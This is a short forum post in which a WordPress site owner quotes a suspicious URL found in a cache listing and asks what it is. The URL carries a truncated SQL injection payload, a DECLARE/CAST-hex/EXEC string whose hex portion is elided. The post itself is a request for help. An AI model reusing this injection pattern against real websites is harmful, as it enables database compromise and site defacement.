In the file listing in WP Cache I noticed a bunch of odd URLs, which were all like this:
http://www.wildmind.org/blogs/on-practice/buddhas-view-on-prosperity?;DECLARE%20@S%20CHAR4000;SET%20@S=CAST0x44454 ... 437572736F72%20AS%20CHAR4000;EXEC@S;
where ... is a long string of numbers and letters. Anyone know what that's about?
